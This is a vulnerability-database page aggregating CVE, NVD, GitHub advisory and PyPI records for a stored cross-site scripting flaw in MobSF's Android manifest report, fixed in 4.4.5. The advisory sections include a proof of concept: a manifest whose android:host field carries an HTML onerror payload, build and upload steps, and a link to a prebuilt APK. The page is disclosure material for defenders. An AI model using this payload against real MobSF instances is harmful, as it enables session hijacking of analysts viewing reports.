CVE-2026-24490 (GCVE-0-2026-24490)
Vulnerability from cvelistv5 – Published: 2026-01-27 00:40 – Updated: 2026-01-27 14:43
VLAI
EPSS
VEX
Title
MobSF has Stored XSS via Manifest Analysis - Dialer Code Host Field
Summary
MobSF is a mobile application security testing tool used. Prior to version 4.4.5, a Stored Cross-site Scripting (XSS) vulnerability in MobSF's Android manifest analysis allows an attacker to execute arbitrary JavaScript in the context of a victim's browser session by uploading a malicious APK. The `android:host` attribute from `<data android:scheme="android_secret_code">` elements is rendered in HTML reports without sanitization, enabling session hijacking and account takeover. Version 4.4.5 fixes the issue.
Severity
8.1 (High)
SSVC
Exploitation: poc
Automatable: no
Technical Impact: total
CISA Coordinator · CISA-ADP (v2.0.3)
Decision recorded 2026-01-27 14:42 UTC
CWE
- CWE-79 - Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
Assigner
References
3 references
| URL | Tags |
|---|---|
| https://github.com/MobSF/Mobile-Security-Framewor… | x_refsource_CONFIRM |
| https://github.com/MobSF/Mobile-Security-Framewor… | x_refsource_MISC |
| https://github.com/MobSF/Mobile-Security-Framewor… | x_refsource_MISC |
Impacted products
1 product
| Vendor | Product | Version | CPE status | |
|---|---|---|---|---|
| MobSF | Mobile-Security-Framework-MobSF |
Affected:
< 4.4.5
|
guessed |
{
"containers": {
"adp": [
{
"metrics": [
{
"other": {
"content": {
"id": "CVE-2026-24490",
"options": [
{
"Exploitation": "poc"
},
{
"Automatable": "no"
},
{
"Technical Impact": "total"
}
],
"role": "CISA Coordinator",
"timestamp": "2026-01-27T14:42:48.599408Z",
"version": "2.0.3"
},
"type": "ssvc"
}
}
],
"providerMetadata": {
"dateUpdated": "2026-01-27T14:43:35.345Z",
"orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"shortName": "CISA-ADP"
},
"title": "CISA ADP Vulnrichment"
}
],
"cna": {
"affected": [
{
"product": "Mobile-Security-Framework-MobSF",
"vendor": "MobSF",
"versions": [
{
"status": "affected",
"version": "\u003c 4.4.5"
}
]
}
],
"descriptions": [
{
"lang": "en",
"value": "MobSF is a mobile application security testing tool used. Prior to version 4.4.5, a Stored Cross-site Scripting (XSS) vulnerability in MobSF\u0027s Android manifest analysis allows an attacker to execute arbitrary JavaScript in the context of a victim\u0027s browser session by uploading a malicious APK. The `android:host` attribute from `\u003cdata android:scheme=\"android_secret_code\"\u003e` elements is rendered in HTML reports without sanitization, enabling session hijacking and account takeover. Version 4.4.5 fixes the issue."
}
],
"metrics": [
{
"cvssV3_1": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "NONE",
"baseScore": 8.1,
"baseSeverity": "HIGH",
"confidentialityImpact": "HIGH",
"integrityImpact": "HIGH",
"privilegesRequired": "HIGH",
"scope": "CHANGED",
"userInteraction": "REQUIRED",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:H/I:H/A:N",
"version": "3.1"
}
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-79",
"description": "CWE-79: Improper Neutralization of Input During Web Page Generation (\u0027Cross-site Scripting\u0027)",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-01-27T00:40:36.483Z",
"orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
"shortName": "GitHub_M"
},
"references": [
{
"name": "https://github.com/MobSF/Mobile-Security-Framework-MobSF/security/advisories/GHSA-8hf7-h89p-3pqj",
"tags": [
"x_refsource_CONFIRM"
],
"url": "https://github.com/MobSF/Mobile-Security-Framework-MobSF/security/advisories/GHSA-8hf7-h89p-3pqj"
},
{
"name": "https://github.com/MobSF/Mobile-Security-Framework-MobSF/commit/2b08dd050e7685ee2a14fdbb454affab94129eae",
"tags": [
"x_refsource_MISC"
],
"url": "https://github.com/MobSF/Mobile-Security-Framework-MobSF/commit/2b08dd050e7685ee2a14fdbb454affab94129eae"
},
{
"name": "https://github.com/MobSF/Mobile-Security-Framework-MobSF/releases/tag/v4.4.5",
"tags": [
"x_refsource_MISC"
],
"url": "https://github.com/MobSF/Mobile-Security-Framework-MobSF/releases/tag/v4.4.5"
}
],
"source": {
"advisory": "GHSA-8hf7-h89p-3pqj",
"discovery": "UNKNOWN"
},
"title": "MobSF has Stored XSS via Manifest Analysis - Dialer Code Host Field"
}
},
"cveMetadata": {
"assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
"assignerShortName": "GitHub_M",
"cveId": "CVE-2026-24490",
"datePublished": "2026-01-27T00:40:36.483Z",
"dateReserved": "2026-01-23T00:38:20.549Z",
"dateUpdated": "2026-01-27T14:43:35.345Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2",
"vulnerability-lookup:meta": {
"epss": {
"cve": "CVE-2026-24490",
"date": "2026-09-17",
"epss": "0.00323",
"percentile": "0.25382"
},
"nvd": {
"cve": {
"affected": [
{
"affectedData": [
{
"product": "Mobile-Security-Framework-MobSF",
"vendor": "MobSF",
"versions": [
{
"status": "affected",
"version": "\u003c 4.4.5"
}
]
}
],
"source": "security-advisories@github.com"
}
],
"configurations": [
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:a:opensecurity:mobile_security_framework:*:*:*:*:*:*:*:*",
"matchCriteriaId": "04FAB846-35D5-4AFD-9F72-AF1DFC072EA9",
"versionEndExcluding": "4.4.5",
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
}
]
}
],
"cveTags": [],
"descriptions": [
{
"lang": "en",
"value": "MobSF is a mobile application security testing tool used. Prior to version 4.4.5, a Stored Cross-site Scripting (XSS) vulnerability in MobSF\u0027s Android manifest analysis allows an attacker to execute arbitrary JavaScript in the context of a victim\u0027s browser session by uploading a malicious APK. The `android:host` attribute from `\u003cdata android:scheme=\"android_secret_code\"\u003e` elements is rendered in HTML reports without sanitization, enabling session hijacking and account takeover. Version 4.4.5 fixes the issue."
},
{
"lang": "es",
"value": "MobSF es una herramienta de prueba de seguridad de aplicaciones m\u00f3viles. Antes de la versi\u00f3n 4.4.5, una vulnerabilidad de Cross-site Scripting (XSS) Almacenado en el an\u00e1lisis del manifiesto de Android de MobSF permite a un atacante ejecutar JavaScript arbitrario en el contexto de la sesi\u00f3n del navegador de una v\u00edctima al subir un APK malicioso. El atributo `android:host` de los elementos `` se renderiza en informes HTML sin sanitizaci\u00f3n, permitiendo el secuestro de sesi\u00f3n y la toma de control de cuentas. La versi\u00f3n 4.4.5 soluciona el problema."
}
],
"id": "CVE-2026-24490",
"lastModified": "2026-06-17T10:23:08.900",
"metrics": {
"cvssMetricV31": [
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "NONE",
"baseScore": 8.1,
"baseSeverity": "HIGH",
"confidentialityImpact": "HIGH",
"integrityImpact": "HIGH",
"privilegesRequired": "HIGH",
"scope": "CHANGED",
"userInteraction": "REQUIRED",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:H/I:H/A:N",
"version": "3.1"
},
"exploitabilityScore": 1.7,
"impactScore": 5.8,
"source": "security-advisories@github.com",
"type": "Secondary"
},
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "NONE",
"baseScore": 4.8,
"baseSeverity": "MEDIUM",
"confidentialityImpact": "LOW",
"integrityImpact": "LOW",
"privilegesRequired": "HIGH",
"scope": "CHANGED",
"userInteraction": "REQUIRED",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N",
"version": "3.1"
},
"exploitabilityScore": 1.7,
"impactScore": 2.7,
"source": "nvd@nist.gov",
"type": "Primary"
}
],
"ssvcV203": [
{
"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"ssvcData": {
"id": "CVE-2026-24490",
"options": [
{
"exploitation": "poc"
},
{
"automatable": "no"
},
{
"technicalImpact": "total"
}
],
"role": "CISA Coordinator",
"timestamp": "2026-01-27T14:42:48.599408Z",
"version": "2.0.3"
}
}
]
},
"published": "2026-01-27T01:16:02.610",
"references": [
{
"source": "security-advisories@github.com",
"tags": [
"Patch"
],
"url": "https://github.com/MobSF/Mobile-Security-Framework-MobSF/commit/2b08dd050e7685ee2a14fdbb454affab94129eae"
},
{
"source": "security-advisories@github.com",
"tags": [
"Release Notes"
],
"url": "https://github.com/MobSF/Mobile-Security-Framework-MobSF/releases/tag/v4.4.5"
},
{
"source": "security-advisories@github.com",
"tags": [
"Exploit",
"Vendor Advisory"
],
"url": "https://github.com/MobSF/Mobile-Security-Framework-MobSF/security/advisories/GHSA-8hf7-h89p-3pqj"
}
],
"sourceIdentifier": "security-advisories@github.com",
"vulnStatus": "Analyzed",
"weaknesses": [
{
"description": [
{
"lang": "en",
"value": "CWE-79"
}
],
"source": "security-advisories@github.com",
"type": "Secondary"
}
]
}
},
"redhat_vex": {
"current_release_date": "2026-01-28T03:16:49+00:00",
"cve": "CVE-2026-24490",
"id": "CVE-2026-24490",
"initial_release_date": "2026-01-01T00:00:00+00:00",
"product_status:known_not_affected": "1",
"source": "Red Hat CSAF VEX",
"status": "final",
"title": "MobSF has Stored XSS via Manifest Analysis - Dialer Code Host Field",
"url": "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-24490.json",
"version": "3"
},
"vulnrichment": {
"containers": {
"adp": [
{
"metrics": [
{
"other": {
"content": {
"id": "CVE-2026-24490",
"options": [
{
"Exploitation": "poc"
},
{
"Automatable": "no"
},
{
"Technical Impact": "total"
}
],
"role": "CISA Coordinator",
"timestamp": "2026-01-27T14:42:48.599408Z",
"version": "2.0.3"
},
"type": "ssvc"
}
}
],
"providerMetadata": {
"dateUpdated": "2026-01-27T14:43:31.128Z",
"orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"shortName": "CISA-ADP"
},
"title": "CISA ADP Vulnrichment"
}
],
"cna": {
"affected": [
{
"product": "Mobile-Security-Framework-MobSF",
"vendor": "MobSF",
"versions": [
{
"status": "affected",
"version": "\u003c 4.4.5"
}
]
}
],
"descriptions": [
{
"lang": "en",
"value": "MobSF is a mobile application security testing tool used. Prior to version 4.4.5, a Stored Cross-site Scripting (XSS) vulnerability in MobSF\u0027s Android manifest analysis allows an attacker to execute arbitrary JavaScript in the context of a victim\u0027s browser session by uploading a malicious APK. The `android:host` attribute from `\u003cdata android:scheme=\"android_secret_code\"\u003e` elements is rendered in HTML reports without sanitization, enabling session hijacking and account takeover. Version 4.4.5 fixes the issue."
}
],
"metrics": [
{
"cvssV3_1": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "NONE",
"baseScore": 8.1,
"baseSeverity": "HIGH",
"confidentialityImpact": "HIGH",
"integrityImpact": "HIGH",
"privilegesRequired": "HIGH",
"scope": "CHANGED",
"userInteraction": "REQUIRED",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:H/I:H/A:N",
"version": "3.1"
}
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-79",
"description": "CWE-79: Improper Neutralization of Input During Web Page Generation (\u0027Cross-site Scripting\u0027)",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-01-27T00:40:36.483Z",
"orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
"shortName": "GitHub_M"
},
"references": [
{
"name": "https://github.com/MobSF/Mobile-Security-Framework-MobSF/security/advisories/GHSA-8hf7-h89p-3pqj",
"tags": [
"x_refsource_CONFIRM"
],
"url": "https://github.com/MobSF/Mobile-Security-Framework-MobSF/security/advisories/GHSA-8hf7-h89p-3pqj"
},
{
"name": "https://github.com/MobSF/Mobile-Security-Framework-MobSF/commit/2b08dd050e7685ee2a14fdbb454affab94129eae",
"tags": [
"x_refsource_MISC"
],
"url": "https://github.com/MobSF/Mobile-Security-Framework-MobSF/commit/2b08dd050e7685ee2a14fdbb454affab94129eae"
},
{
"name": "https://github.com/MobSF/Mobile-Security-Framework-MobSF/releases/tag/v4.4.5",
"tags": [
"x_refsource_MISC"
],
"url": "https://github.com/MobSF/Mobile-Security-Framework-MobSF/releases/tag/v4.4.5"
}
],
"source": {
"advisory": "GHSA-8hf7-h89p-3pqj",
"discovery": "UNKNOWN"
},
"title": "MobSF has Stored XSS via Manifest Analysis - Dialer Code Host Field"
}
},
"cveMetadata": {
"assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
"assignerShortName": "GitHub_M",
"cveId": "CVE-2026-24490",
"datePublished": "2026-01-27T00:40:36.483Z",
"dateReserved": "2026-01-23T00:38:20.549Z",
"dateUpdated": "2026-01-27T14:43:35.345Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
}
}
FKIE_CVE-2026-24490
Vulnerability from fkie_nvd - Published: 2026-01-27 01:16 - Updated: 2026-06-17 10:23
Severity
8.1 (High) - CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:H/I:H/A:N
4.8 (Medium) - CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N
4.8 (Medium) - CVSS:3.1/
Summary
MobSF is a mobile application security testing tool used. Prior to version 4.4.5, a Stored Cross-site Scripting (XSS) vulnerability in MobSF's Android manifest analysis allows an attacker to execute arbitrary JavaScript in the context of a victim's browser session by uploading a malicious APK. The `android:host` attribute from `<data android:scheme="android_secret_code">` elements is rendered in HTML reports without sanitization, enabling session hijacking and account takeover. Version 4.4.5 fixes the issue.
References
Impacted products
| Vendor | Product | Version | |
|---|---|---|---|
| opensecurity | mobile_security_framework | * |
{
"affected": [
{
"affectedData": [
{
"product": "Mobile-Security-Framework-MobSF",
"vendor": "MobSF",
"versions": [
{
"status": "affected",
"version": "\u003c 4.4.5"
}
]
}
],
"source": "security-advisories@github.com"
}
],
"configurations": [
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:a:opensecurity:mobile_security_framework:*:*:*:*:*:*:*:*",
"matchCriteriaId": "04FAB846-35D5-4AFD-9F72-AF1DFC072EA9",
"versionEndExcluding": "4.4.5",
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
}
]
}
],
"cveTags": [],
"descriptions": [
{
"lang": "en",
"value": "MobSF is a mobile application security testing tool used. Prior to version 4.4.5, a Stored Cross-site Scripting (XSS) vulnerability in MobSF\u0027s Android manifest analysis allows an attacker to execute arbitrary JavaScript in the context of a victim\u0027s browser session by uploading a malicious APK. The `android:host` attribute from `\u003cdata android:scheme=\"android_secret_code\"\u003e` elements is rendered in HTML reports without sanitization, enabling session hijacking and account takeover. Version 4.4.5 fixes the issue."
},
{
"lang": "es",
"value": "MobSF es una herramienta de prueba de seguridad de aplicaciones m\u00f3viles. Antes de la versi\u00f3n 4.4.5, una vulnerabilidad de Cross-site Scripting (XSS) Almacenado en el an\u00e1lisis del manifiesto de Android de MobSF permite a un atacante ejecutar JavaScript arbitrario en el contexto de la sesi\u00f3n del navegador de una v\u00edctima al subir un APK malicioso. El atributo `android:host` de los elementos `` se renderiza en informes HTML sin sanitizaci\u00f3n, permitiendo el secuestro de sesi\u00f3n y la toma de control de cuentas. La versi\u00f3n 4.4.5 soluciona el problema."
}
],
"id": "CVE-2026-24490",
"lastModified": "2026-06-17T10:23:08.900",
"metrics": {
"cvssMetricV31": [
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "NONE",
"baseScore": 8.1,
"baseSeverity": "HIGH",
"confidentialityImpact": "HIGH",
"integrityImpact": "HIGH",
"privilegesRequired": "HIGH",
"scope": "CHANGED",
"userInteraction": "REQUIRED",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:H/I:H/A:N",
"version": "3.1"
},
"exploitabilityScore": 1.7,
"impactScore": 5.8,
"source": "security-advisories@github.com",
"type": "Secondary"
},
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "NONE",
"baseScore": 4.8,
"baseSeverity": "MEDIUM",
"confidentialityImpact": "LOW",
"integrityImpact": "LOW",
"privilegesRequired": "HIGH",
"scope": "CHANGED",
"userInteraction": "REQUIRED",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N",
"version": "3.1"
},
"exploitabilityScore": 1.7,
"impactScore": 2.7,
"source": "nvd@nist.gov",
"type": "Primary"
}
],
"ssvcV203": [
{
"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"ssvcData": {
"id": "CVE-2026-24490",
"options": [
{
"exploitation": "poc"
},
{
"automatable": "no"
},
{
"technicalImpact": "total"
}
],
"role": "CISA Coordinator",
"timestamp": "2026-01-27T14:42:48.599408Z",
"version": "2.0.3"
}
}
]
},
"published": "2026-01-27T01:16:02.610",
"references": [
{
"source": "security-advisories@github.com",
"tags": [
"Patch"
],
"url": "https://github.com/MobSF/Mobile-Security-Framework-MobSF/commit/2b08dd050e7685ee2a14fdbb454affab94129eae"
},
{
"source": "security-advisories@github.com",
"tags": [
"Release Notes"
],
"url": "https://github.com/MobSF/Mobile-Security-Framework-MobSF/releases/tag/v4.4.5"
},
{
"source": "security-advisories@github.com",
"tags": [
"Exploit",
"Vendor Advisory"
],
"url": "https://github.com/MobSF/Mobile-Security-Framework-MobSF/security/advisories/GHSA-8hf7-h89p-3pqj"
}
],
"sourceIdentifier": "security-advisories@github.com",
"vulnStatus": "Analyzed",
"weaknesses": [
{
"description": [
{
"lang": "en",
"value": "CWE-79"
}
],
"source": "security-advisories@github.com",
"type": "Secondary"
}
]
}
GHSA-8HF7-H89P-3PQJ
Vulnerability from github – Published: 2026-01-26 23:36 – Updated: 2026-01-29 03:25
VLAI
Summary
MobSF has Stored XSS via Manifest Analysis - Dialer Code Host Field
Details
Summary
A Stored Cross-site Scripting (XSS) vulnerability in MobSF's Android manifest analysis allows an attacker to execute arbitrary JavaScript in the context of a victim's browser session by uploading a malicious APK. The android:host attribute from <data android:scheme="android_secret_code"> elements is rendered in HTML reports without sanitization, enabling session hijacking and account takeover.
Details
When MobSF analyzes an Android APK containing a <data> element with android:scheme="android_secret_code", it extracts the android:host attribute and inserts it directly into the analysis report without HTML escaping.
Vulnerable Code Path
1. Data Extraction - mobsf/StaticAnalyzer/views/android/manifest_analysis.py (line 776):
xmlhost = data.getAttribute(f'{ns}:host')
ret_list.append(('dialer_code_found', (xmlhost,), ()))
2. Template String Formatting - mobsf/StaticAnalyzer/views/android/manifest_analysis.py (line 806):
'title': a_template['title'] % t_name, # XSS payload inserted here unescaped
3. Template Definition - mobsf/StaticAnalyzer/views/android/kb/android_manifest_desc.py (line 200):
'dialer_code_found': {
'title': 'Dailer Code: %s Found <br>[android:scheme=\"android_secret_code\"]',
...
}
4. Unsafe Rendering - mobsf/templates/static_analysis/android_binary_analysis.html (line 1143):
{{item|key:"title" | safe}}
The |safe Django template filter bypasses auto-escaping, allowing the unescaped android:host value to be rendered as raw HTML.
PoC
Step 1: Create Malicious APK
Create an APK with the following AndroidManifest.xml:
<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
package="com.poc.xsstest"
android:versionCode="1"
android:versionName="1.0">
<application android:label="XSS PoC Test">
<receiver android:name=".SecretCodeReceiver" android:exported="true">
<intent-filter>
<action android:name="android.provider.Telephony.SECRET_CODE"/>
<data android:scheme="android_secret_code"
android:host="<img src=x onerror=alert(document.domain)>"/>
</intent-filter>
</receiver>
</application>
</manifest>
Step 2: Build the APK
Use apktool or Android build tools to create a valid APK with this manifest.
Step 3: Upload to MobSF
Upload the malicious APK to MobSF for static analysis.
Step 4: Trigger XSS
View the static analysis report in a browser. The JavaScript payload executes automatically.
Confirmed HTML Output
<td>
Dailer Code: <img src=x onerror=alert(document.domain)> Found <br>[android:scheme="android_secret_code"]
</td>
PoC APK Details
| Field | Value |
|---|---|
| Filename | POC_XSS_APK.apk |
| MD5 Hash | 647258656ed03a7e6a0f2acce4ec6a5b |
| Location | https://github.com/smaranchand/poc/raw/refs/heads/main/POC_XSS_APK.apk |
Impact
This is a Stored Cross-site Scripting (XSS) vulnerability affecting all MobSF users who analyze the results of the malicious APK file.
Attack Scenario
- Attacker crafts a malicious APK with XSS payload in the manifest
- Attacker submits APK to a shared MobSF instance or private mobsf instance.
- When any user views the analysis report, the XSS payload executes in their browser
Tested in MobSF Public Instance as well. https://mobsf.live/static_analyzer/647258656ed03a7e6a0f2acce4ec6a5b/
Severity
8.1 (High)
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "mobsf"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "4.4.5"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-24490"
],
"database_specific": {
"cwe_ids": [
"CWE-79"
],
"github_reviewed": true,
"github_reviewed_at": "2026-01-26T23:36:19Z",
"nvd_published_at": "2026-01-27T01:16:02Z",
"severity": "HIGH"
},
"details": "### Summary\nA Stored Cross-site Scripting (XSS) vulnerability in MobSF\u0027s Android manifest analysis allows an attacker to execute arbitrary JavaScript in the context of a victim\u0027s browser session by uploading a malicious APK. The `android:host` attribute from `\u003cdata android:scheme=\"android_secret_code\"\u003e` elements is rendered in HTML reports without sanitization, enabling session hijacking and account takeover.\n\n### Details\nWhen MobSF analyzes an Android APK containing a `\u003cdata\u003e` element with `android:scheme=\"android_secret_code\"`, it extracts the `android:host` attribute and inserts it directly into the analysis report without HTML escaping.\n\n### Vulnerable Code Path\n\n**1. Data Extraction** - `mobsf/StaticAnalyzer/views/android/manifest_analysis.py` (line 776):\n```python\nxmlhost = data.getAttribute(f\u0027{ns}:host\u0027)\nret_list.append((\u0027dialer_code_found\u0027, (xmlhost,), ()))\n```\n\n**2. Template String Formatting** - `mobsf/StaticAnalyzer/views/android/manifest_analysis.py` (line 806):\n```python\n\u0027title\u0027: a_template[\u0027title\u0027] % t_name, # XSS payload inserted here unescaped\n```\n\n**3. Template Definition** - `mobsf/StaticAnalyzer/views/android/kb/android_manifest_desc.py` (line 200):\n```python\n\u0027dialer_code_found\u0027: {\n \u0027title\u0027: \u0027Dailer Code: %s Found \u003cbr\u003e[android:scheme=\\\"android_secret_code\\\"]\u0027,\n ...\n}\n```\n\n**4. Unsafe Rendering** - `mobsf/templates/static_analysis/android_binary_analysis.html` (line 1143):\n```html\n{{item|key:\"title\" | safe}}\n```\n\nThe `|safe` Django template filter bypasses auto-escaping, allowing the unescaped `android:host` value to be rendered as raw HTML.\n\n### PoC\n\n### Step 1: Create Malicious APK\n\nCreate an APK with the following `AndroidManifest.xml`:\n\n```xml\n\u003c?xml version=\"1.0\" encoding=\"utf-8\"?\u003e\n\u003cmanifest xmlns:android=\"http://schemas.android.com/apk/res/android\"\n package=\"com.poc.xsstest\"\n android:versionCode=\"1\"\n android:versionName=\"1.0\"\u003e\n\n \u003capplication android:label=\"XSS PoC Test\"\u003e\n \u003creceiver android:name=\".SecretCodeReceiver\" android:exported=\"true\"\u003e\n \u003cintent-filter\u003e\n \u003caction android:name=\"android.provider.Telephony.SECRET_CODE\"/\u003e\n \u003cdata android:scheme=\"android_secret_code\"\n android:host=\"\u0026lt;img src=x onerror=alert(document.domain)\u0026gt;\"/\u003e\n \u003c/intent-filter\u003e\n \u003c/receiver\u003e\n \u003c/application\u003e\n\u003c/manifest\u003e\n```\n\n### Step 2: Build the APK\n\nUse apktool or Android build tools to create a valid APK with this manifest.\n\n### Step 3: Upload to MobSF\n\nUpload the malicious APK to MobSF for static analysis.\n\n### Step 4: Trigger XSS\n\nView the static analysis report in a browser. The JavaScript payload executes automatically.\n\n### Confirmed HTML Output\n\n```html\n\u003ctd\u003e\nDailer Code: \u003cimg src=x onerror=alert(document.domain)\u003e Found \u003cbr\u003e[android:scheme=\"android_secret_code\"]\n\u003c/td\u003e\n```\n\n### PoC APK Details\n\n| Field | Value |\n|-------|-------|\n| **Filename** | `POC_XSS_APK.apk ` |\n| **MD5 Hash** | `647258656ed03a7e6a0f2acce4ec6a5b` |\n| **Location** | https://github.com/smaranchand/poc/raw/refs/heads/main/POC_XSS_APK.apk |\n\n### Impact\n\nThis is a **Stored Cross-site Scripting (XSS)** vulnerability affecting all MobSF users who analyze the results of the malicious APK file.\n\n### Attack Scenario\n\n1. Attacker crafts a malicious APK with XSS payload in the manifest\n2. Attacker submits APK to a shared MobSF instance or private mobsf instance. \n3. When any user views the analysis report, the XSS payload executes in their browser\n\n\u003cimg width=\"1435\" height=\"675\" alt=\"Screenshot 2026-01-15 at 12 24 29\u202fAM\" src=\"https://github.com/user-attachments/assets/e282a0b2-236e-4199-a7ce-b96017cc7052\" /\u003e\n\n\nTested in MobSF Public Instance as well.\nhttps://mobsf.live/static_analyzer/647258656ed03a7e6a0f2acce4ec6a5b/ \n\n\n\u003cimg width=\"1440\" height=\"780\" alt=\"Screenshot 2026-01-15 at 12 24 57\u202fAM\" src=\"https://github.com/user-attachments/assets/8673b76a-954a-45e7-833a-a64e0a972f2e\" /\u003e",
"id": "GHSA-8hf7-h89p-3pqj",
"modified": "2026-01-29T03:25:29Z",
"published": "2026-01-26T23:36:19Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/MobSF/Mobile-Security-Framework-MobSF/security/advisories/GHSA-8hf7-h89p-3pqj"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-24490"
},
{
"type": "WEB",
"url": "https://github.com/MobSF/Mobile-Security-Framework-MobSF/commit/2b08dd050e7685ee2a14fdbb454affab94129eae"
},
{
"type": "PACKAGE",
"url": "https://github.com/MobSF/Mobile-Security-Framework-MobSF"
},
{
"type": "WEB",
"url": "https://github.com/MobSF/Mobile-Security-Framework-MobSF/releases/tag/v4.4.5"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:H/I:H/A:N",
"type": "CVSS_V3"
}
],
"summary": "MobSF has Stored XSS via Manifest Analysis - Dialer Code Host Field"
}
PYSEC-2026-1668
Vulnerability from pysec - Published: 2026-07-07 16:03 - Updated: 2026-07-07 17:24
VLAI
Details
Summary
A Stored Cross-site Scripting (XSS) vulnerability in MobSF's Android manifest analysis allows an attacker to execute arbitrary JavaScript in the context of a victim's browser session by uploading a malicious APK. The android:host attribute from <data android:scheme="android_secret_code"> elements is rendered in HTML reports without sanitization, enabling session hijacking and account takeover.
Details
When MobSF analyzes an Android APK containing a <data> element with android:scheme="android_secret_code", it extracts the android:host attribute and inserts it directly into the analysis report without HTML escaping.
Vulnerable Code Path
1. Data Extraction - mobsf/StaticAnalyzer/views/android/manifest_analysis.py (line 776):
xmlhost = data.getAttribute(f'{ns}:host')
ret_list.append(('dialer_code_found', (xmlhost,), ()))
2. Template String Formatting - mobsf/StaticAnalyzer/views/android/manifest_analysis.py (line 806):
'title': a_template['title'] % t_name, # XSS payload inserted here unescaped
3. Template Definition - mobsf/StaticAnalyzer/views/android/kb/android_manifest_desc.py (line 200):
'dialer_code_found': {
'title': 'Dailer Code: %s Found <br>[android:scheme=\"android_secret_code\"]',
...
}
4. Unsafe Rendering - mobsf/templates/static_analysis/android_binary_analysis.html (line 1143):
{{item|key:"title" | safe}}
The |safe Django template filter bypasses auto-escaping, allowing the unescaped android:host value to be rendered as raw HTML.
PoC
Step 1: Create Malicious APK
Create an APK with the following AndroidManifest.xml:
<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
package="com.poc.xsstest"
android:versionCode="1"
android:versionName="1.0">
<application android:label="XSS PoC Test">
<receiver android:name=".SecretCodeReceiver" android:exported="true">
<intent-filter>
<action android:name="android.provider.Telephony.SECRET_CODE"/>
<data android:scheme="android_secret_code"
android:host="<img src=x onerror=alert(document.domain)>"/>
</intent-filter>
</receiver>
</application>
</manifest>
Step 2: Build the APK
Use apktool or Android build tools to create a valid APK with this manifest.
Step 3: Upload to MobSF
Upload the malicious APK to MobSF for static analysis.
Step 4: Trigger XSS
View the static analysis report in a browser. The JavaScript payload executes automatically.
Confirmed HTML Output
<td>
Dailer Code: <img src=x onerror=alert(document.domain)> Found <br>[android:scheme="android_secret_code"]
</td>
PoC APK Details
| Field | Value |
|---|---|
| Filename | POC_XSS_APK.apk |
| MD5 Hash | 647258656ed03a7e6a0f2acce4ec6a5b |
| Location | https://github.com/smaranchand/poc/raw/refs/heads/main/POC_XSS_APK.apk |
Impact
This is a Stored Cross-site Scripting (XSS) vulnerability affecting all MobSF users who analyze the results of the malicious APK file.
Attack Scenario
- Attacker crafts a malicious APK with XSS payload in the manifest
- Attacker submits APK to a shared MobSF instance or private mobsf instance.
- When any user views the analysis report, the XSS payload executes in their browser
Tested in MobSF Public Instance as well. https://mobsf.live/static_analyzer/647258656ed03a7e6a0f2acce4ec6a5b/
Severity
8.1 (High)
Impacted products
| Name | purl | mobsf | pkg:pypi/mobsf |
|---|
Aliases
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "mobsf",
"purl": "pkg:pypi/mobsf"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "4.4.5"
}
],
"type": "ECOSYSTEM"
}
],
"versions": [
"3.2.6",
"3.2.7",
"3.2.8",
"3.2.9",
"3.3.3",
"3.3.5",
"3.4.0",
"3.4.3",
"3.4.6",
"3.5.0",
"3.6.0",
"3.6.9",
"3.7.6",
"3.9.7",
"4.1.3",
"4.3.0",
"4.3.2",
"4.4.0",
"4.4.2"
]
}
],
"aliases": [
"CVE-2026-24490",
"GHSA-8hf7-h89p-3pqj"
],
